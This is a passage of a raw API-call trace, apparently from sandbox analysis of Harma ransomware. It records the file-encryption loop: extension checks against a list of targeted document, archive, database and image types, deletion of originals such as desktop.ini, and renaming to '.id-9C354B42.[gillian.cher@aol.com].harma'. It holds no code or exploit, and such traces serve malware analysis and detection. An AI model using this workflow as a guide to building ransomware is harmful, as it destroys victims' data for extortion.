ReadFile (in: hFile=0x1ec, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0xae, lpOverlapped=0x0) returned 1 [0064.138] WriteFile (in: hFile=0x1f0, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xb0, lpOverlapped=0x0) returned 1 [0064.139] ReadFile (in: hFile=0x1ec, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0064.139] WriteFile (in: hFile=0x1f0, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xea, lpOverlapped=0x0) returned 1 [0064.139] SetEndOfFile (hFile=0x1f0) returned 1 [0064.139] CloseHandle (hObject=0x1f0) returned 1 [0064.139] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.139] SetEndOfFile (hFile=0x1ec) returned 1 [0064.140] CloseHandle (hObject=0x1ec) returned 1 [0064.140] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x26) returned 1 [0064.140] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0064.141] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0064.141] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0064.141] lstrlenW (lpString=".doc") returned 4 [0064.141] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0064.141] lstrlenW (lpString=".docx") returned 5 [0064.141] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0064.141] lstrlenW (lpString=".pdf") returned 4 [0064.141] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0064.141] lstrlenW (lpString=".xls") returned 4 [0064.141] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0064.141] lstrlenW (lpString=".xlsx") returned 5 [0064.141] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0064.141] lstrlenW (lpString=".ppt") returned 4 [0064.141] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0064.141] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0064.141] lstrlenW (lpString=".zip") returned 4 [0064.141] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0064.141] lstrlenW (lpString=".rar") returned 4 [0064.141] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0064.141] lstrlenW (lpString=".bz2") returned 4 [0064.141] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0064.141] lstrlenW (lpString=".7z") returned 3 [0064.141] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0064.141] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0064.141] lstrlenW (lpString=".dbf") returned 4 [0064.141] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0064.141] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0064.141] lstrlenW (lpString=".1cd") returned 4 [0064.141] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0064.141] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0064.141] lstrlenW (lpString=".jpg") returned 4 [0064.141] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0064.142] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0064.142] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0064.142] lstrlenW (lpString=".doc") returned 4 [0064.142] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0064.142] lstrlenW (lpString=".docx") returned 5 [0064.142] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0064.142] lstrlenW (lpString=".pdf") returned 4 [0064.142] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0064.142] lstrlenW (lpString=".xls") returned 4 [0064.142] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0064.142] lstrlenW (lpString=".xlsx") returned 5 [0064.142] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0064.142] lstrlenW (lpString=".ppt") returned 4 [0064.142] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0064.142] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0064.142] lstrlenW (lpString=".zip") returned 4 [0064.142] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0064.142] lstrlenW (lpString=".rar") returned 4 [0064.142] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0064.142] lstrlenW (lpString=".bz2") returned 4 [0064.142] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0064.142] lstrlenW (lpString=".7z") returned 3 [0064.142] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0064.142] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0064.142] lstrlenW (lpString=".dbf") returned 4 [0064.142] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0064.142] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0064.143] lstrlenW (lpString=".1cd") returned 4 [0064.143] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0064.143] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0064.143] lstrlenW (lpString=".jpg") returned 4 [0064.143] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0064.143] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0064.143] lstrlenW (lpString="DissolveAnother.png") returned 19 [0064.143] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0064.144] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=27935) returned 1 [0064.144] CloseHandle (hObject=0x1ec) returned 1 [0064.144] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png")) returned 0x20 [0064.144] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0064.144] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.144] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0064.144] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0064.144] lstrlenW (lpString=".doc") returned 4 [0064.144] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0064.144] lstrlenW (lpString=".docx") returned 5 [0064.144] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0064.144] lstrlenW (lpString=".pdf") returned 4 [0064.145] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0064.145] lstrlenW (lpString=".xls") returned 4 [0064.145] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0064.145] lstrlenW (lpString=".xlsx") returned 5 [0064.145] lstrcmpiW (lpString1=".xlsx", lpString2="r.png") returned -1 [0064.145] lstrlenW (lpString=".ppt") returned 4 [0064.145] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0064.145] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0064.145] lstrlenW (lpString=".zip") returned 4 [0064.145] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0064.145] lstrlenW (lpString=".rar") returned 4 [0064.145] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0064.145] lstrlenW (lpString=".bz2") returned 4 [0064.145] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0064.145] lstrlenW (lpString=".7z") returned 3 [0064.145] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0064.145] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0064.145] lstrlenW (lpString=".dbf") returned 4 [0064.145] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0064.145] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0064.145] lstrlenW (lpString=".1cd") returned 4 [0064.145] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0064.145] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0064.145] lstrlenW (lpString=".jpg") returned 4 [0064.145] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0064.145] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0064.145] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0064.145] lstrlenW (lpString=".doc") returned 4 [0064.145] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0064.145] lstrlenW (lpString=".docx") returned 5 [0064.145] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0064.145] lstrlenW (lpString=".pdf") returned 4 [0064.146] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0064.146] lstrlenW (lpString=".xls") returned 4 [0064.146] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0064.146] lstrlenW (lpString=".xlsx") returned 5 [0064.146] lstrcmpiW (lpString1=".xlsx", lpString2="r.png") returned -1 [0064.146] lstrlenW (lpString=".ppt") returned 4 [0064.146] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0064.146] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0064.146] lstrlenW (lpString=".zip") returned 4 [0064.146] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0064.146] lstrlenW (lpString=".rar") returned 4 [0064.146] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0064.146] lstrlenW (lpString=".bz2") returned 4 [0064.146] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0064.146] lstrlenW (lpString=".7z") returned 3 [0064.146] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0064.146] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0064.146] lstrlenW (lpString=".dbf") returned 4 [0064.146] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0064.146] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0064.146] lstrlenW (lpString=".1cd") returned 4 [0064.146] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0064.146] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0064.146] lstrlenW (lpString=".jpg") returned 4 [0064.146] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0064.146] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0064.146] lstrlenW (lpString="DissolveNoise.png") returned 17 [0064.147] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0064.147] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=751669) returned 1 [0064.147] CloseHandle (hObject=0x1ec) returned 1 [0064.147] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png")) returned 0x20 [0064.147] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0064.147] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.147] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0064.147] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0064.147] lstrlenW (lpString=".doc") returned 4 [0064.147] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0064.147] lstrlenW (lpString=".docx") returned 5 [0064.147] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0064.147] lstrlenW (lpString=".pdf") returned 4 [0064.147] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0064.147] lstrlenW (lpString=".xls") returned 4 [0064.147] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0064.147] lstrlenW (lpString=".xlsx") returned 5 [0064.147] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0064.147] lstrlenW (lpString=".ppt") returned 4 [0064.147] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0064.148] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0064.148] lstrlenW (lpString=".zip") returned 4 [0064.148] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0064.148] lstrlenW (lpString=".rar") returned 4 [0064.148] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0064.148] lstrlenW (lpString=".bz2") returned 4 [0064.148] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0064.148] lstrlenW (lpString=".7z") returned 3 [0064.148] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0064.148] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0064.148] lstrlenW (lpString=".dbf") returned 4 [0064.148] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0064.148] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0064.148] lstrlenW (lpString=".1cd") returned 4 [0064.148] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0064.148] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0064.148] lstrlenW (lpString=".jpg") returned 4 [0064.148] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0064.148] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0064.148] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0064.148] lstrlenW (lpString=".doc") returned 4 [0064.148] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0064.148] lstrlenW (lpString=".docx") returned 5 [0064.148] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0064.148] lstrlenW (lpString=".pdf") returned 4 [0064.148] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0064.148] lstrlenW (lpString=".xls") returned 4 [0064.148] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0064.148] lstrlenW (lpString=".xlsx") returned 5 [0064.148] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0064.149] lstrlenW (lpString=".ppt") returned 4 [0064.149] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0064.149] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0064.149] lstrlenW (lpString=".zip") returned 4 [0064.149] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0064.149] lstrlenW (lpString=".rar") returned 4 [0064.149] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0064.149] lstrlenW (lpString=".bz2") returned 4 [0064.149] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0064.149] lstrlenW (lpString=".7z") returned 3 [0064.149] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0064.149] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0064.149] lstrlenW (lpString=".dbf") returned 4 [0064.149] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0064.149] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0064.149] lstrlenW (lpString=".1cd") returned 4 [0064.149] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0064.149] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0064.149] lstrlenW (lpString=".jpg") returned 4 [0064.149] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0064.149] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0064.149] lstrlenW (lpString="16to9Squareframe_Buttongraphic.png") returned 34 [0064.149] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0064.150] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=10123) returned 1 [0064.150] CloseHandle (hObject=0x1ec) returned 1 [0064.150] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png")) returned 0x20 [0064.151] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0064.151] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.151] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0064.151] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0064.151] lstrlenW (lpString=".doc") returned 4 [0064.151] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0064.151] lstrlenW (lpString=".docx") returned 5 [0064.151] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0064.151] lstrlenW (lpString=".pdf") returned 4 [0064.151] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0064.151] lstrlenW (lpString=".xls") returned 4 [0064.151] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0064.151] lstrlenW (lpString=".xlsx") returned 5 [0064.151] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0064.151] lstrlenW (lpString=".ppt") returned 4 [0064.151] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0064.151] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0064.151] lstrlenW (lpString=".zip") returned 4 [0064.151] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0064.151] lstrlenW (lpString=".rar") returned 4 [0064.151] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0064.151] lstrlenW (lpString=".bz2") returned 4 [0064.151] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0064.151] lstrlenW (lpString=".7z") returned 3 [0064.151] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0064.151] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0064.151] lstrlenW (lpString=".dbf") returned 4 [0064.151] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0064.151] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0064.151] lstrlenW (lpString=".1cd") returned 4 [0064.152] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0064.152] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0064.152] lstrlenW (lpString=".jpg") returned 4 [0064.152] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0064.152] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0064.152] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0064.152] lstrlenW (lpString=".doc") returned 4 [0064.152] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0064.152] lstrlenW (lpString=".docx") returned 5 [0064.152] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0064.152] lstrlenW (lpString=".pdf") returned 4 [0064.152] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0064.152] lstrlenW (lpString=".xls") returned 4 [0064.152] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0064.152] lstrlenW (lpString=".xlsx") returned 5 [0064.152] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0064.152] lstrlenW (lpString=".ppt") returned 4 [0064.152] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0064.152] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0064.152] lstrlenW (lpString=".zip") returned 4 [0064.152] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0064.152] lstrlenW (lpString=".rar") returned 4 [0064.152] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0064.152] lstrlenW (lpString=".bz2") returned 4 [0064.152] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0064.152] lstrlenW (lpString=".7z") returned 3 [0064.152] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0064.152] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0064.152] lstrlenW (lpString=".dbf") returned 4 [0064.152] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0064.152] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0064.152] lstrlenW (lpString=".1cd") returned 4 [0064.153] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0064.153] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0064.153] lstrlenW (lpString=".jpg") returned 4 [0064.153] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0064.153] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0064.153] lstrlenW (lpString="16to9Squareframe_SelectionSubpicture.png") returned 40 [0064.153] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0064.153] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=3286) returned 1 [0064.153] CloseHandle (hObject=0x1ec) returned 1 [0064.153] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png")) returned 0x20 [0064.153] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0064.153] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.153] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0064.153] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0064.154] lstrlenW (lpString=".doc") returned 4 [0064.154] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0064.154] lstrlenW (lpString=".docx") returned 5 [0064.154] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0064.154] lstrlenW (lpString=".pdf") returned 4 [0064.154] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0064.154] lstrlenW (lpString=".xls") returned 4 [0064.154] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0064.154] lstrlenW (lpString=".xlsx") returned 5 [0064.154] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0064.154] lstrlenW (lpString=".ppt") returned 4 [0064.154] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0064.154] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0064.154] lstrlenW (lpString=".zip") returned 4 [0064.154] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0064.154] lstrlenW (lpString=".rar") returned 4 [0064.154] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0064.154] lstrlenW (lpString=".bz2") returned 4 [0064.154] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0064.154] lstrlenW (lpString=".7z") returned 3 [0064.154] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0064.154] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0064.154] lstrlenW (lpString=".dbf") returned 4 [0064.154] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0064.154] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0064.154] lstrlenW (lpString=".1cd") returned 4 [0064.154] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0064.154] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0064.154] lstrlenW (lpString=".jpg") returned 4 [0064.154] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0064.154] 